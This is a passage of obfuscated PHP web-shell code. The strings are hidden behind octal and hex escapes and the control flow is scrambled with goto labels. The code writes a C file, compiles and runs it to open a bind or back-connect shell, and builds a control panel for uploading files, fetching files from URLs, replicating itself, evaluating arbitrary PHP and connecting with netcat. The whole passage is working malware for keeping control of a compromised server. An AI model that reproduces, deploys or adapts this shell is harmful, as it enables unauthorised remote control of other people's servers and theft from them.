$fname = "\142\x69\156\144"; } $ip = ''; $ok = false; $fpath = $fpath . $fname; if (is_file($fpath . "\x2e\143")) { unlink($fpath . "\56\143"); } if (!xfilesave($fpath . "\56\143", $con)) { $tmp = xcleanpath(xtempfolder()); $fpath = $tmp . $fname; if (xfilesave($fpath . "\x2e\143", $con)) { $ok = true; } } else { $ok = true; } if ($ok) { $fpath = trim($fpath); if ($type == "\143\157\156\x6e\x65\143\164") { $ip = $_SERVER["\122\x45\115\117\124\x45\x5f\x41\x44\x44\122"]; } ekse("\x67\143\143\40" . $fpath . "\x2e\x63\x20\x2d\x6f\x20" . $fpath); ekse("\143\150\x6d\157\x64\x20\x2b\170\x20" . $fpath); if (is_file($fpath)) { $final .= $fpath . "\40" . $port . "\x20" . $ip; ekse(trim($final)); return true; } else { return false; } } } return false; } goto fxXUi; E3cYn: $shell_color = "\x23\x33\x37\x34\x33\x37\x34"; goto uWo80; Zne4x: if ($auth) { if (isset($_GET["\142\160\157\162\164\103"])) { $bportC = $_GET["\142\x70\x6f\x72\164\x43"]; } else { $bportC = $shell_fav_port; } if (isset($_GET["\154\160\x6f\x72\x74\x43"])) { $lportC = $_GET["\154\160\x6f\162\164\103"]; } else { $lportC = $shell_fav_port; } $html_title = $shell_title . "\x20" . $xCwd; $html_head = "\xa\74\164\x69\x74\154\x65\x3e" . $html_title . "\74\57\x74\151\x74\x6c\x65\76\12\x3c\x6c\x69\x6e\x6b\x20\162\x65\154\x3d\42\x53\x48\117\122\124\103\125\124\40\x49\x43\117\x4e\x22\40\150\162\x65\x66\75\42" . $_SERVER["\x53\x43\122\111\x50\124\x5f\x4e\x41\115\x45"] . "\x3f\151\155\x67\75\x69\143\157\x6e\x22\x20\x2f\76\12" . $shell_style . "\xa\x3c\163\143\162\x69\x70\164\40\164\x79\160\x65\x3d\x22\164\145\x78\x74\x2f\x6a\x61\x76\141\x73\x63\162\x69\x70\164\x22\x3e\12\146\165\x6e\x63\x74\151\x6f\156\40\x75\160\x64\x61\164\x65\111\x6e\x66\x6f\x28\142\157\x78\x69\144\54\x74\x79\160\x29\x7b\12\x9\x69\146\x28\x74\x79\x70\x20\75\75\x20\60\x29\x7b\12\x9\11\166\x61\162\40\160\157\x6c\x61\40\75\40\47\x65\170\x61\x6d\x70\x6c\145\72\40\50\x75\163\151\156\147\x20\x6e\x65\164\x63\141\x74\x29\40\x72\165\x6e\x20\x26\x71\165\157\164\73\x6e\143\x20\55\x6c\40\55\x70\40\137\137\120\117\122\124\137\137\x26\x71\x75\157\164\73\40\141\156\144\40\x74\x68\x65\x6e\40\x70\x72\145\163\163\x20\x43\157\x6e\156\x65\x63\x74\x27\73\12\x9\175\xa\x9\145\154\x73\145\173\12\x9\11\166\x61\x72\40\x70\x6f\x6c\x61\40\75\x20\47\145\170\x61\155\x70\x6c\145\x3a\40\50\165\163\x69\156\x67\40\156\145\164\143\141\x74\x29\x20\160\x72\x65\x73\163\40\46\161\x75\x6f\164\73\x4c\x69\163\x74\145\x6e\x26\x71\165\157\164\73\x20\141\156\x64\40\x74\150\x65\156\x20\x72\165\156\40\46\x71\165\157\x74\73\156\143\40" . $xServerIP . "\40\x5f\137\120\117\x52\x54\x5f\x5f\x26\161\x75\x6f\x74\x3b\x27\73\12\x9\175\12\12\x9\x76\141\x72\40\160\x6f\x72\x74\156\x75\x6d\40\x3d\x20\x64\157\143\165\x6d\x65\x6e\164\56\x67\x65\x74\105\x6c\x65\x6d\x65\156\x74\x42\171\x49\144\x28\142\157\x78\x69\x64\x29\x2e\x76\x61\154\165\x65\x3b\xa\12\x9\166\x61\x72\x20\x68\x61\163\x69\x6c\40\x3d\40\160\x6f\154\x61\x2e\x72\x65\160\x6c\141\x63\145\x28\47\x5f\137\120\117\122\x54\137\137\47\x2c\40\160\157\162\164\156\165\155\51\73\12\x9\144\157\x63\165\155\x65\156\x74\56\147\145\x74\105\x6c\145\x6d\145\x6e\x74\102\x79\111\x64\x28\x62\157\x78\151\x64\x2b\47\x5f\x27\x29\x2e\x69\x6e\x6e\x65\x72\110\x54\115\114\40\75\x20\x68\x61\163\x69\x6c\x3b\xa\x7d\12\x66\x75\x6e\143\164\x69\x6f\156\40\163\x68\157\x77\x28\142\x6f\x78\151\144\x29\x7b\12\x9\x76\141\x72\40\142\157\170\x20\75\40\144\x6f\143\x75\x6d\145\x6e\x74\x2e\147\145\164\x45\154\145\155\x65\x6e\164\102\x79\x49\x64\50\142\x6f\x78\x69\144\x29\73\12\x9\151\146\50\142\157\170\56\x73\x74\x79\154\145\56\144\x69\x73\160\154\x61\x79\40\x21\75\x20\x27\151\x6e\x6c\151\156\145\x27\51\x7b\12\x9\x9\x64\157\143\165\155\145\x6e\164\56\147\x65\x74\x45\154\x65\x6d\x65\156\x74\x42\171\x49\x64\x28\x27\156\x65\x77\x66\x69\154\x65\x27\x29\x2e\163\x74\x79\154\145\56\x64\x69\x73\160\154\x61\x79\x20\x3d\x20\x27\156\x6f\x6e\145\47\73\12\11\x9\144\157\143\x75\155\x65\x6e\164\56\x67\x65\x74\105\x6c\x65\x6d\x65\x6e\x74\x42\171\111\144\50\x27\x6e\x65\x77\x66\157\x6c\144\x65\162\x27\x29\56\163\164\171\154\x65\56\144\x69\x73\160\154\x61\171\x20\x3d\x20\47\x6e\157\156\x65\x27\x3b\12\x9\x9\144\x6f\x63\165\155\x65\x6e\164\x2e\147\x65\164\105\154\145\155\145\x6e\164\x42\x79\x49\x64\x28\47\156\145\x77\165\x70\x6c\x6f\x61\x64\47\51\x2e\163\164\171\x6c\145\56\144\151\163\160\154\141\x79\x20\75\40\47\156\x6f\156\145\47\73\xa\11\11\x64\x6f\x63\x75\155\145\156\x74\x2e\147\x65\x74\x45\x6c\x65\x6d\145\156\x74\x42\x79\x49\x64\x28\x27\156\x65\x77\x63\x68\x69\154\144\x27\51\x2e\x73\x74\171\x6c\145\x2e\x64\151\x73\160\154\141\171\40\75\x20\47\x6e\157\x6e\x65\x27\73\12\x9\x9\x64\x6f\143\165\155\145\156\x74\56\147\x65\164\105\x6c\x65\155\145\x6e\x74\x42\x79\x49\144\x28\x27\156\x65\x77\143\x6f\x6e\156\x65\x63\164\47\51\x2e\163\164\x79\154\x65\x2e\x64\151\x73\x70\x6c\141\171\x20\75\40\47\156\157\x6e\x65\x27\x3b\12\11\11\x64\157\143\165\155\x65\156\x74\x2e\147\x65\x74\105\154\145\155\x65\156\x74\102\171\x49\x64\x28\x27\x64\151\x76\x5f\x65\166\141\154\47\x29\x2e\x73\x74\171\154\x65\x2e\x64\x69\163\x70\x6c\141\171\x20\x3d\x20\x27\156\x6f\x6e\x65\47\x3b\12\12\x9\11\142\x6f\x78\x2e\163\164\x79\154\145\56\x64\151\x73\160\154\x61\171\40\x3d\40\47\x69\156\x6c\x69\x6e\145\x27\73\12\11\11\x62\157\170\x2e\x66\157\x63\165\163\50\51\x3b\12\11\x7d\xa\11\145\x6c\163\145\x20\x62\x6f\x78\x2e\163\164\171\x6c\145\x2e\144\x69\x73\160\154\141\171\40\75\40\47\x6e\x6f\x6e\145\47\x3b\xa\x7d\12\x66\165\156\143\x74\151\157\156\x20\x68\151\147\x68\x6c\151\147\150\x74\x68\145\x78\x64\165\x6d\160\50\x61\144\x64\162\x65\163\163\x29\173\xa\11\166\141\x72\x20\x74\141\162\x67\145\164\40\75\x20\x64\x6f\x63\x75\x6d\145\156\x74\56\147\145\164\x45\154\x65\x6d\145\x6e\x74\102\x79\x49\x64\x28\141\x64\144\x72\145\163\163\51\x3b\12\11\164\141\x72\x67\x65\x74\56\x73\164\171\154\145\x2e\142\x61\x63\x6b\x67\x72\x6f\x75\x6e\144\x20\75\40\x27" . $shell_color . "\47\73\12\175\12\146\x75\156\x63\164\x69\157\156\40\x75\156\150\151\x67\x68\154\x69\147\150\x74\150\x65\170\x64\165\155\160\x28\x61\144\x64\x72\x65\163\x73\x29\x7b\xa\11\x76\x61\162\x20\164\x61\162\x67\x65\164\x20\75\x20\x64\x6f\x63\x75\x6d\145\156\x74\x2e\x67\x65\x74\x45\x6c\x65\155\145\156\x74\x42\x79\111\144\50\x61\144\x64\x72\145\163\x73\x29\73\xa\11\164\141\162\x67\145\164\x2e\x73\164\x79\154\x65\x2e\142\x61\x63\153\147\x72\157\x75\x6e\x64\x20\75\40\x27\156\x6f\x6e\x65\x27\x3b\12\x7d\xa\x3c\x2f\163\143\162\151\x70\164\x3e\xa"; $html_body = "\12\74\x64\151\x76\x20\151\x64\x3d\x22\167\162\141\160\x70\145\x72\42\76\12\74\150\x31\x20\157\156\155\157\x75\x73\x65\x6f\x76\145\x72\75\x22\x74\x68\151\163\x2e\x73\x74\171\x6c\x65\56\143\165\x72\x73\x6f\x72\x3d\x27\160\x6f\x69\x6e\x74\145\162\x27\73\164\x68\x69\x73\x2e\x73\164\171\x6c\x65\x2e\x63\x75\x72\163\157\162\75\x27\x68\141\156\144\x27\x3b\x22\x20\40\x6f\156\x63\x6c\151\143\153\x3d\42\167\x69\x6e\x64\157\x77\56\154\157\143\141\164\x69\x6f\x6e\x3d\x20\x27\x3f\x27\x3b\42\x3e\74\141\x20\x68\x72\x65\146\x3d\x22\77\42\x3e" . $shell_title . "\x3c\57\x61\x3e\74\57\x68\61\76\12\74\144\x69\166\x20\143\x6c\141\x73\x73\x3d\x22\x62\157\x78\x22\76" . $xHeader . "\xa\74\x64\x69\x76\x20\x63\x6c\141\163\163\75\x22\x66\x70\141\x74\150\42\x3e\12" . xdrive() . xparsedir($xCwd) . "\xa\74\x2f\144\151\x76\76\xa\74\144\x69\166\40\x63\x6c\x61\x73\163\x3d\x22\155\145\x6e\165\42\76\12\74\x61\x20\150\x72\x65\146\75\42\152\141\x76\x61\163\x63\162\151\x70\x74\72\163\150\x6f\167\50\47\x6e\145\x77\146\x69\154\145\x27\51\73\x22\76\x3c\163\x70\141\156\x20\143\x6c\x61\x73\163\75\42\147\141\x75\154\x22\x3e\x5b\x20\74\x2f\x73\160\141\x6e\76\40\x4e\145\167\40\106\x69\x6c\x65\74\x73\160\x61\x6e\x20\x63\x6c\x61\x73\x73\75\42\x67\141\165\x6c\x22\x3e\40\135\x3c\57\163\x70\141\x6e\76\74\x2f\141\76\xa\x3c\x61\40\150\162\x65\x66\x3d\42\152\141\x76\x61\163\x63\162\151\160\x74\x3a\x73\150\x6f\x77\50\47\156\x65\x77\x66\x6f\154\144\145\162\x27\x29\73\42\76\x3c\163\x70\x61\156\x20\143\x6c\x61\x73\x73\x3d\42\147\141\165\154\x22\76\x5b\x20\x3c\x2f\x73\160\141\x6e\76\116\x65\167\40\x46\157\x6c\x64\x65\162\x3c\x73\x70\x61\156\x20\143\154\x61\x73\163\x3d\42\x67\141\x75\154\42\x3e\40\x5d\74\x2f\163\160\x61\156\76\74\x2f\141\76\xa\x3c\141\40\150\162\145\x66\75\42\152\141\166\141\x73\x63\x72\x69\x70\164\x3a\x73\x68\x6f\167\50\x27\156\x65\167\x63\150\x69\154\144\47\x29\73\x22\76\74\163\x70\141\156\x20\143\x6c\141\x73\x73\75\42\x67\x61\165\x6c\42\76\133\40\x3c\57\163\x70\141\156\x3e\122\145\160\154\x69\x63\x61\164\x65\x3c\163\160\x61\x6e\40\x63\154\x61\x73\x73\x3d\x22\x67\x61\x75\x6c\x22\76\40\x5d\74\x2f\x73\x70\x61\x6e\76\x3c\57\141\x3e\12\x3c\141\40\x68\162\x65\x66\75\42\152\141\166\141\x73\x63\x72\151\160\x74\72\163\x68\x6f\x77\x28\x27\x6e\x65\167\x75\160\x6c\x6f\x61\x64\x27\51\73\42\76\74\x73\160\141\156\40\143\154\141\x73\x73\75\x22\147\141\165\154\x22\76\x5b\40\x3c\57\163\x70\x61\156\76\x55\160\154\x6f\141\144\74\x73\x70\141\156\40\x63\x6c\x61\163\163\x3d\x22\147\x61\x75\154\42\76\x20\x5d\74\57\163\x70\x61\156\x3e\74\x2f\x61\x3e\12\74\141\40\150\x72\145\146\75\42\x6a\x61\166\x61\x73\x63\x72\x69\160\x74\72\x73\150\157\167\50\x27\x6e\x65\167\143\157\156\156\145\x63\x74\47\51\73\42\76\74\x73\160\141\156\40\143\x6c\x61\x73\x73\x3d\42\147\141\x75\x6c\x22\x3e\133\40\74\x2f\x73\160\x61\156\x3e\x42\151\156\x64\x53\150\145\154\x6c\x3c\163\160\x61\x6e\40\x63\x6c\x61\163\163\x3d\42\147\x61\165\x6c\42\x3e\40\x5d\x3c\57\x73\160\141\156\x3e\74\x2f\141\76\12\74\x61\40\150\x72\145\146\x3d\42\x6a\141\x76\x61\x73\143\162\151\160\x74\72\163\150\157\x77\x28\47\144\151\x76\x5f\145\166\x61\154\x27\51\x3b\42\x3e\74\163\160\141\x6e\x20\x63\154\x61\163\163\x3d\42\147\141\165\x6c\42\x3e\x5b\40\x3c\x2f\x73\x70\x61\156\76\120\x48\120\40\x45\166\x61\154\x3c\x73\160\141\x6e\x20\x63\x6c\x61\163\163\75\42\x67\x61\165\154\42\x3e\x20\135\74\x2f\163\x70\x61\156\76\x3c\x2f\x61\x3e\12\74\x2f\x64\151\x76\x3e\xa\x3c\x64\x69\166\40\x63\x6c\141\163\163\75\x22\x68\151\144\x64\145\x6e\42\40\x69\x64\x3d\42\x6e\x65\x77\x63\x6f\156\x6e\145\143\164\x22\x3e\xa\x3c\146\x6f\162\x6d\x20\x6d\145\164\x68\157\144\75\x22\x67\145\164\42\x20\141\143\164\151\157\x6e\75\42\77\x22\40\163\164\171\154\x65\75\42\144\151\163\160\x6c\x61\x79\x3a\151\x6e\x6c\x69\x6e\145\73\x6d\x61\162\x67\x69\156\72\60\73\160\141\144\144\x69\156\147\72\x30\x3b\42\76\xa\74\x74\141\x62\154\x65\x20\143\x6c\x61\x73\163\x3d\42\x74\x62\x6c\x42\157\x78\x22\40\163\x74\171\x6c\x65\x3d\42\x77\151\x64\164\150\x3a\x31\x30\60\x25\x3b\x22\x3e\xa\74\151\x6e\x70\x75\164\x20\x74\x79\x70\145\75\x22\150\151\144\144\x65\156\42\x20\x6e\x61\x6d\x65\x3d\x22\144\151\162\x22\x20\166\141\154\x75\145\75\x22" . $xCwd . "\42\x20\57\76\12\74\164\x72\76\74\164\x64\40\163\164\171\x6c\145\x3d\42\167\151\x64\164\150\x3a\x31\63\60\160\170\x3b\42\x3e\x42\x61\143\x6b\103\157\156\x6e\x65\x63\x74\74\x2f\x74\x64\x3e\74\164\144\x20\x73\164\171\x6c\145\x3d\x22\167\151\144\x74\150\72\x32\60\60\x70\x78\x3b\x22\76\12\120\x6f\x72\164\46\156\142\163\160\73\74\151\x6e\160\x75\164\x20\x6d\141\x78\154\x65\x6e\x67\x74\150\x3d\42\65\x22\x20\151\144\x3d\x22\142\x61\143\153\x43\42\40\x6f\x6e\153\x65\x79\x75\x70\75\42\165\x70\x64\x61\164\145\111\156\146\157\50\x27\x62\x61\143\x6b\103\x27\x2c\60\51\x3b\42\x20\163\164\x79\x6c\145\x3d\x22\167\151\144\164\x68\72\66\60\160\170\x3b\x22\x20\x74\x79\160\145\75\x22\164\x65\x78\x74\42\40\x6e\141\155\145\75\x22\142\x70\x6f\162\x74\x43\42\x20\166\141\154\x75\145\75\42" . $bportC . "\x22\40\57\x3e\12\x3c\x69\x6e\x70\165\x74\40\x73\x74\x79\154\145\75\x22\x77\151\x64\164\x68\x3a\x31\x30\60\x70\x78\73\x22\40\x74\171\160\145\x3d\42\163\165\142\x6d\x69\164\x22\x20\x63\154\x61\163\163\75\42\142\164\156\42\x20\x6e\141\155\145\x3d\42\142\164\156\103\157\156\156\145\x63\164\x22\x20\x76\141\x6c\165\x65\75\x22\103\157\x6e\x6e\x65\x63\164\x22\40\57\x3e\12\x3c\x2f\164\144\76\xa\74\x74\x64\76\x3c\x73\x70\141\x6e\x20\x69\x64\x3d\x22\x62\141\143\153\x43\137\x22\40\x63\154\x61\x73\163\75\x22\x6d\163\x67\143\x6f\x6e\42\x3e\145\170\x61\155\160\154\x65\x3a\x20\50\x75\x73\x69\156\147\x20\x6e\x65\164\x63\141\164\x29\x20\x72\x75\x6e\x20\x26\x71\165\157\164\x3b\156\143\x20\55\154\40\55\x70\40" . $bportC . "\x26\x71\165\157\164\73\40\x61\156\144\40\x74\150\x65\156\x20\160\162\x65\x73\x73\x20\103\x6f\156\156\x65\x63\x74\74\57\163\160\x61\x6e\x3e\74\57\x74\144\x3e\xa\74\57\164\162\76\xa\74\x74\x72\x3e\74\164\144\x3e\x4c\x69\x73\x74\x65\x6e\x3c\x2f\164\144\76\74\x74\144\76\xa\x50\x6f\162\164\x26\x6e\x62\x73\x70\73\74\151\156\160\165\x74\x20\155\x61\x78\x6c\145\x6e\147\164\150\x3d\42\65\42\40\x69\144\x3d\x22\x6c\151\163\164\145\156\103\42\40\157\x6e\x6b\145\x79\x75\160\75\x22\165\160\x64\141\164\145\x49\x6e\x66\x6f\x28\x27\154\x69\163\164\145\x6e\x43\x27\54\61\51\x3b\42\x20\x73\164\171\154\145\x3d\42\167\x69\x64\x74\x68\72\x36\60\160\x78\73\x22\40\x74\171\x70\x65\x3d\x22\x74\x65\170\x74\x22\40\x6e\x61\x6d\x65\x3d\x22\154\160\157\x72\x74\x43\x22\x20\166\141\x6c\165\145\75\x22" . $lportC . "\42\40\57\x3e\xa\x3c\151\x6e\x70\x75\x74\40\x73\164\x79\x6c\x65\75\42\x77\151\144\x74\150\72\x31\60\x30\x70\x78\x3b\x22\40\x74\171\160\x65\x3d\x22\163\165\142\155\x69\164\x22\x20\143\154\x61\x73\x73\x3d\x22\142\164\x6e\x22\x20\x6e\x61\155\x65\x3d\x22\142\x74\x6e\114\151\163\164\145\x6e\42\x20\166\x61\x6c\165\145\x3d\42\114\x69\163\x74\x65\x6e\x22\40\57\76\12\74\57\164\x64\76\xa\74\164\x64\x3e\x3c\x73\160\x61\x6e\40\x69\144\x3d\x22\x6c\151\x73\x74\x65\156\103\x5f\x22\x20\143\154\x61\x73\163\75\42\x6d\x73\x67\x63\157\x6e\x22\x3e\145\170\x61\x6d\160\x6c\x65\72\40\x28\x75\163\151\156\x67\40\x6e\145\x74\x63\141\164\x29\40\x70\x72\x65\x73\163\x20\46\161\x75\x6f\x74\73\114\151\163\x74\x65\x6e\46\x71\x75\x6f\x74\73\40\x61\x6e\144\x20\x74\150\x65\x6e\x20\x72\165\156\40\x26\x71\x75\157\x74\73\156\x63\x20" . $xServerIP . "\x20" . $lportC . "\x26\161\165\157\x74\x3b\74\57\163\x70\141\x6e\x3e\x3c\57\x74\144\x3e\xa\x3c\57\164\162\x3e\12\x3c\x2f\164\x61\142\154\x65\x3e\12\74\x2f\x66\157\x72\x6d\x3e\xa\74\57\x64\151\x76\76\12\74\144\x69\x76\x20\x63\x6c\141\163\x73\x3d\42\x68\151\144\x64\x65\156\42\x20\151\x64\75\x22\156\x65\167\146\157\x6c\x64\x65\x72\x22\x3e\xa\74\146\x6f\162\155\x20\155\x65\164\x68\x6f\x64\x3d\42\x67\145\164\42\x20\141\143\164\151\x6f\x6e\x3d\42\77\x22\x20\163\x74\171\154\x65\x3d\42\144\x69\x73\160\x6c\141\171\72\151\156\x6c\x69\156\x65\x3b\x6d\141\162\x67\x69\156\72\x30\x3b\160\x61\x64\x64\x69\x6e\147\x3a\60\x3b\x22\x3e\12\74\151\x6e\x70\165\164\x20\x74\x79\160\x65\x3d\x22\150\151\x64\144\145\156\42\40\156\x61\155\x65\x3d\x22\144\151\x72\x22\x20\x76\x61\154\x75\x65\x3d\42" . $xCwd . "\42\x20\x2f\x3e\12\74\x74\x61\142\x6c\x65\40\x63\154\x61\x73\163\75\x22\164\142\154\102\x6f\x78\42\x20\x73\x74\x79\x6c\x65\x3d\42\x77\x69\144\164\x68\x3a\65\x36\60\x70\x78\x3b\42\76\xa\x3c\x74\162\76\x3c\164\x64\40\x73\x74\x79\x6c\145\x3d\42\x77\151\144\164\x68\x3a\61\62\x30\x70\170\73\42\76\116\x65\167\x20\x46\157\154\144\x65\162\156\x61\155\x65\74\x2f\164\x64\x3e\74\x74\x64\x20\163\x74\x79\154\x65\75\42\x77\x69\x64\x74\x68\x3a\x33\x30\x34\x70\170\x3b\x22\x3e\12\74\x69\156\160\165\164\x20\163\164\x79\154\145\75\42\167\151\x64\x74\150\x3a\x33\x30\60\x70\x78\73\42\40\x74\171\x70\x65\x3d\x22\164\145\170\164\42\40\156\x61\x6d\x65\75\42\146\x6f\x6c\x64\x65\x72\x6e\x61\155\x65\42\x20\166\141\154\x75\145\75\42\x6e\x65\x77\146\157\x6c\144\145\162\42\40\x2f\76\xa\x3c\x2f\x74\x64\x3e\74\x74\x64\76\12\x3c\151\x6e\160\x75\x74\40\x73\x74\x79\154\145\75\x22\x77\151\144\x74\x68\72\61\x30\x30\160\x78\x3b\42\x20\x74\171\160\145\x3d\42\163\165\x62\x6d\x69\x74\42\x20\143\154\x61\x73\163\x3d\42\142\164\x6e\x22\x20\156\x61\155\145\x3d\42\x62\164\x6e\x4e\x65\x77\146\157\x6c\144\x65\162\x22\40\x76\x61\154\165\145\75\42\x43\x72\145\141\x74\x65\x22\40\57\76\xa\74\57\x74\x64\76\x3c\x2f\164\162\76\12\x3c\57\x74\141\x62\154\x65\x3e\12\x3c\x2f\x66\157\x72\155\x3e\12\74\x2f\144\151\166\x3e\xa\74\x64\151\166\40\143\x6c\141\x73\x73\75\x22\x68\x69\144\144\x65\156\x22\40\x69\x64\x3d\42\156\x65\x77\x66\x69\154\145\x22\76\xa\x3c\146\x6f\162\x6d\40\x61\x63\164\x69\157\x6e\x3d\42\x3f\42\x20\x6d\145\164\x68\x6f\144\x3d\42\147\x65\164\42\40\x73\x74\x79\x6c\x65\75\x22\144\151\x73\x70\x6c\141\171\x3a\151\156\x6c\x69\x6e\145\73\x6d\141\x72\147\151\x6e\72\x30\x3b\x70\x61\144\144\151\156\147\72\x30\x3b\42\x3e\12\74\151\156\160\x75\164\40\164\171\x70\x65\75\42\x68\x69\144\144\145\156\x22\x20\x6e\x61\x6d\x65\x3d\42\144\x69\162\42\40\166\141\154\x75\145\75\42" . $xCwd . "\42\40\x2f\76\xa\74\164\141\142\x6c\x65\x20\x63\x6c\x61\x73\x73\75\42\164\x62\154\x42\x6f\x78\x22\x20\x73\x74\171\154\x65\x3d\42\167\151\x64\x74\x68\72\65\66\x30\x70\170\x3b\42\76\12\x3c\164\x72\x3e\x3c\164\x64\40\163\164\x79\x6c\145\75\x22\x77\151\x64\x74\150\x3a\61\62\60\160\170\73\x22\76\116\x65\x77\x20\x46\x69\154\145\156\141\x6d\x65\x3c\57\164\144\76\74\x74\x64\40\163\x74\x79\154\x65\x3d\x22\x77\151\x64\164\150\x3a\x33\60\64\160\170\73\x22\76\12\74\x69\x6e\x70\165\164\x20\163\164\171\x6c\145\x3d\42\x77\151\144\x74\150\x3a\x33\x30\x30\160\170\73\x22\40\x74\171\160\x65\x3d\42\x74\145\170\164\42\x20\x6e\x61\x6d\x65\75\42\x66\x69\x6c\x65\156\141\155\145\x22\x20\166\141\154\x75\145\75\x22\156\x65\167\x66\x69\154\x65\x22\x20\x2f\76\xa\x3c\x2f\x74\x64\x3e\x3c\x74\144\x3e\12\74\x69\156\x70\x75\164\40\163\164\x79\x6c\x65\75\42\x77\x69\x64\164\150\x3a\61\60\x30\160\x78\73\x22\x20\x74\171\x70\145\75\42\x73\x75\x62\155\x69\164\x22\x20\x63\154\141\163\163\75\42\142\164\x6e\x22\40\x6e\x61\x6d\x65\x3d\x22\x62\164\156\x4e\x65\167\146\151\154\145\42\x20\x76\141\x6c\165\145\75\x22\103\x72\145\141\164\x65\42\40\x2f\x3e\12\74\x2f\x74\x64\76\74\x2f\x74\x72\x3e\xa\74\57\146\x6f\162\x6d\76\xa\74\57\164\x61\x62\x6c\x65\x3e\12\74\57\x64\x69\x76\76\xa\74\x64\x69\166\x20\143\154\x61\163\x73\75\42\x68\151\144\x64\x65\x6e\x22\x20\151\x64\x3d\42\x6e\x65\x77\x75\x70\154\x6f\141\x64\42\76\12\x3c\x66\x6f\162\155\x20\155\145\164\150\157\144\x3d\42\x70\157\x73\x74\42\x20\x61\x63\x74\x69\x6f\156\x3d\42\x3f\144\x69\162\x3d" . $xCwd . "\42\x20\x65\156\143\164\x79\160\145\75\42\155\x75\154\x74\151\160\x61\x72\164\x2f\x66\157\x72\155\55\144\141\164\141\x22\40\x73\x74\x79\x6c\x65\x3d\x22\x64\x69\163\x70\x6c\x61\171\72\151\156\x6c\x69\x6e\x65\x3b\x6d\141\x72\147\151\156\72\x30\x3b\x70\x61\144\144\x69\156\147\72\x30\x3b\x22\x3e\xa\x3c\164\x61\x62\154\x65\x20\143\154\141\x73\163\75\x22\164\142\154\x42\157\170\42\x20\x73\x74\x79\x6c\145\75\x22\x77\x69\144\164\150\x3a\x35\66\x30\160\170\73\x22\76\12\x3c\164\162\x3e\x3c\x74\x64\40\163\x74\171\154\145\75\42\167\x69\144\164\x68\x3a\x31\x32\60\x70\x78\x3b\42\x3e\x53\141\166\145\x20\141\163\x3c\x2f\164\144\76\74\x74\144\x3e\74\x69\x6e\160\165\x74\40\163\x74\x79\154\145\x3d\42\167\151\x64\x74\150\x3a\x33\x30\x30\x70\170\x3b\x22\40\164\171\160\145\75\x22\164\145\170\x74\x22\40\156\x61\155\145\x3d\x22\146\x69\154\145\156\141\155\x65\x22\40\166\x61\x6c\x75\x65\x3d\x22\x22\x20\57\76\74\x2f\x74\144\x3e\74\57\x74\162\76\12\74\x74\x72\76\74\164\x64\x20\163\164\171\154\x65\75\42\167\151\x64\x74\x68\x3a\61\62\x30\160\170\73\x22\x3e\106\x72\x6f\155\40\x55\162\154\x3c\57\164\x64\x3e\x3c\164\144\40\163\164\171\154\x65\75\x22\x77\151\144\x74\x68\72\x33\60\x34\160\x78\73\x22\x3e\12\74\x69\x6e\x70\x75\x74\40\163\x74\x79\x6c\x65\x3d\x22\167\x69\144\164\150\72\63\60\x30\x70\170\73\42\40\x74\x79\x70\x65\75\x22\x74\145\170\164\x22\40\156\141\x6d\145\75\42\146\151\x6c\145\x75\x72\x6c\x22\x20\166\x61\x6c\x75\145\75\x22\x22\x20\57\76\12\74\57\x74\x64\76\x3c\x74\x64\76\x3c\151\156\x70\165\164\40\163\164\171\x6c\145\x3d\42\167\151\144\164\150\x3a\x31\60\60\160\x78\73\42\40\164\x79\x70\145\x3d\42\x73\x75\142\x6d\151\x74\x22\40\x63\x6c\x61\x73\163\x3d\42\142\164\156\42\x20\156\x61\x6d\x65\75\x22\142\x74\x6e\x4e\x65\167\125\x70\x6c\x6f\141\x64\x55\x72\x6c\42\40\x76\x61\x6c\x75\x65\75\x22\x47\x65\x74\42\x20\x2f\76\x3c\x2f\x74\x64\76\x3c\57\164\x72\x3e\xa\x3c\164\x72\76\74\164\144\40\163\164\x79\154\145\75\x22\167\151\144\x74\x68\x3a\x31\62\x30\x70\x78\73\42\x3e\x46\x72\x6f\x6d\40\x43\x6f\x6d\x70\x75\x74\145\x72\x3c\x2f\164\x64\x3e\74\x74\x64\40\x73\x74\x79\154\145\75\x22\x77\151\x64\x74\x68\x3a\x33\60\x34\x70\170\x3b\x22\76\xa\x3c\x69\156\x70\x75\164\x20\x73\164\x79\x6c\145\75\42\167\151\144\164\x68\72\x33\x30\60\x70\170\x3b\42\x20\164\x79\x70\x65\75\42\x66\x69\x6c\145\42\x20\x6e\x61\155\145\x3d\x22\x66\x69\154\145\x6c\x6f\143\141\154\42\x20\57\76\xa\74\57\x74\x64\x3e\x3c\164\144\x3e\12\x3c\151\156\x70\165\x74\x20\163\164\171\x6c\145\x3d\x22\x77\x69\144\x74\x68\72\x31\60\60\x70\x78\73\x22\x20\x74\x79\x70\x65\75\42\x73\165\142\x6d\151\x74\x22\40\143\x6c\141\163\163\75\x22\142\164\156\42\x20\x6e\141\155\x65\x3d\x22\x62\x74\x6e\x4e\x65\167\125\160\x6c\157\141\144\114\157\x63\141\154\42\x20\166\x61\154\165\x65\75\x22\107\x65\x74\42\x20\57\x3e\xa\74\57\164\144\76\74\x2f\164\162\76\12\74\57\x74\x61\142\x6c\x65\x3e\12\74\57\146\157\162\x6d\76\12\74\57\144\x69\166\x3e\xa\74\x64\151\166\x20\143\x6c\141\163\x73\x3d\x22\150\x69\144\x64\145\x6e\x22\x20\151\144\x3d\x22\156\x65\167\143\x68\151\x6c\144\42\76\xa\x3c\146\157\x72\x6d\40\155\145\164\150\x6f\144\75\x22\x67\145\164\x22\x20\x61\143\x74\x69\x6f\156\x3d\42\77\x22\x20\163\x74\x79\154\x65\x3d\x22\x64\x69\163\x70\154\141\171\72\x69\156\154\151\156\x65\x3b\x6d\141\162\x67\151\156\72\60\73\x70\141\144\x64\151\x6e\x67\x3a\x30\73\42\x3e\xa\x3c\x69\156\160\x75\x74\40\x74\x79\160\145\75\x22\150\151\144\x64\145\156\42\40\156\141\x6d\145\x3d\x22\144\151\162\42\x20\166\x61\x6c\165\145\75\x22" . $xCwd . 